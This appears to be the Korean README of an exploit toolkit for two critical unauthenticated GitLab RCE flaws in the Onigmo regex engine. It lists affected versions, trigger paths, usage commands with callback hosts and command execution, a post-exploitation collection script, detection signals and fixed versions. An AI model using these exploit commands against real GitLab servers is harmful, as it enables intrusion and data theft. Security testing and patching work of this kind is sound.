
CVE-2026-97229 + CVE-2026-110264 — GitLab Onigmo RCE 익스플로잇 툴킷 (CVSS 10.0)
CVE-2026-97229 + CVE-2026-110264 — Onigmo 정규식 엔진 정수 오버플로를 통한 GitLab CE/EE의 두 가지 치명적(CVSS 10.0) 비인증 RCE 취약점.
승인된 테스트 전용. 모든 대상은 본인 소유이거나 서면 승인을 받은 것이어야 합니다.
| CVE | 벡터 | 영향 범위 | 트리거 | 인증 필요 여부 |
|---|---|---|---|---|
| CVE-2026-97229 | CI/CD 정규식 컴파일러 | 19.2.0–19.4.1 | GET /api/v4/projects/:id/ci/lint | 비인증 트리거 (설정에는 쓰기 권한 필요) |
| CVE-2026-110264 | Org-mode .org 렌더링 | 7.0–19.5.0 | 조작된 .org 파일 렌더링 | 계정 불필요 |
두 CVE 모두 동일한 근본 원인을 악용합니다: Onigmo 정규식 엔진 정수 오버플로 → OOB 쓰기 → VM 하이재킹 → system(). 차이점은 전달 경로입니다:
.gitlab-ci.yml의 rules:exists:regexp에 악성 정규식 삽입 → CI lint API.org 파일의 악성 #+TODO: 키워드 → Org-mode 렌더러# CVE-2026-97229 — CI lint 경로
python3 exploit/cve97229.py --url http://target:8080 \
--token glpat-xxx --callback-host YOUR_IP \
--command 'id; hostname' --authorized --scope scope.txt
# CVE-2026-110264 — Org-mode 경로 (인증 불필요!)
python3 exploit/cve110264.py --url http://target:8080 \
--callback-host YOUR_IP --command 'id'
# 탐지만 수행 (익스플로잇 없음)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only
exploit/
├── cve97229.py # CI lint 정규식 RCE (CVE-2026-97229)
├── cve110264.py # Org-mode 렌더링 RCE (CVE-2026-110264)
├── layout.py # libruby.so 오프셋 도출
├── common.py # 공용 Onigmo 페이로드 + 콜백 서버
└── post/
└── collect.sh # 침투 후 정보 수집
lab/
├── run.sh # Docker 랩 실행기
└── stop.sh # 랩 정리
docs/
├── CVE-2026-97229.md # 기술 분석
└── CVE-2026-110264.md # 기술 분석
두 CVE 모두에 대한 삼중 신호:
org-ruby 또는 regexp_matcher.rb 프레임과 함께 [BUG] Segmentation faultbadgateway: failed to receive response: EOF(?#) 분할 수량자, [[:word:]] 반복, 4바이트 UTF-8 경로| CVE | 수정 버전 |
|---|---|
| CVE-2026-97229 | 19.2.8, 19.3.5, 19.4.2 |
| CVE-2026-110264 | 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1 |
MIT — 승인된 보안 테스트 전용.